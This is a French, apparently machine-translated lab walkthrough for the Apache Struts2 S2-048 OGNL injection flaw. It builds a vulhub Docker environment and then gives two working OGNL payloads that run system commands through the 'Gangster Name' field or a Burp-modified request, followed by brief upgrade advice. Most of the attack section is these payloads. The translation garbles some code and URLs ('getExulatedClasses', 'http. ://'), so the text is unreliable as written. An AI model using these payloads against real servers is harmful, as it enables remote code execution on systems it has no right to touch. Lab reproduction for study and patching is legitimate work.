Le framework Struts2 est une architecture d'application Web open source pour le développement d'applications Web Java EE. Il utilise et étend l'API Java Servlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC.
La série Apache Struts2 2.3.x a le plug-in struts2-struts1-plugin activé et le répertoire struts2-showcase existe. La cause de la vulnérabilité est que lorsque ActionMessage reçoit des données de paramètres contrôlables par le client, l'épissage des données ultérieur est transmis. Un post-traitement inapproprié conduit à l'exécution de code arbitraire.
Versions de la série Apache Struts 2.3.x avec le plug-in struts2-struts1-plugin activé.
1. Il est plus compliqué de construire Apache Struts2 par vous-même. Cet environnement de vulnérabilité est construit à l'aide de l'environnement docker de vulhub.
Adresse de téléchargement : https://github.com/vulhub/vulhub
2 Après le téléchargement, décompressez et entrez dans le répertoire s2-048, démarrez l'environnement de vulnérabilité
cd cd vulhub-master/struts2/s2-048/. //Entrez le répertoire
docker-compose up -d //Démarrez le champ de tir
3. Utilisez docker ps pour vérifier si le démarrage a réussi
4. ip:8080/bonjour dans le navigateur .action, vérifiez que l'environnement de la page suivante a été configuré
1 Entrez le lien suivant dans le navigateur pour accéder à la page de vulnérabilité
http. ://192.168.3.160:8080/integration/saveGangster.action
2. Entrez ${1+1} dans le premier formulaire "Nom du gangster", entrez ce que vous voulez ci-dessous, cliquez sur Soumettre pour afficher l'OGNL exécuté. expression
2. Gangster Name", remplacez ${1+1} par l'instruction de charge utile exécutée par la commande suivante
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess=#dm):((# containers=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil @class)).(#ognlUtil.getExclusivePackageNames() .clear()).(#ognlUtil.getExulatedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org .apache.commons.io.IOUtils@toString (@ java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
3. Vous pouvez également utiliser Burp pour capturer le paquet et le modifier en charge utile pour l'exécution de la commande. Déclaration
Remarque : La charge utile doit être codée en URL
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ? (#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@ class)).(#ognlUtil.getExclusivePackageNames().clear()).(# ognlUtil.getExclusiveClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id' ).(#iswin=(@java.lang.System@getProperty('os. name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe' ,'/c',#cmd} :{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream (true)).(#process=#p.start()).(# ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io .IOUtils@copy(#process.getInputStream(),#ros)).(# ros.flush())}
4. Il peut être implémenté à l'aide de scripts automatisés ou d'outils graphiques, et n'est pas démontré ici.
Les outils peuvent être recherchés et téléchargés sur GitHub
1 Mise à niveau Il est recommandé de mettre à niveau vers la dernière version
2. Selon les conditions commerciales, désactivez et fermez (supprimez) les struts-2.3. Forfait .xappsstruts2-showcase.war
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!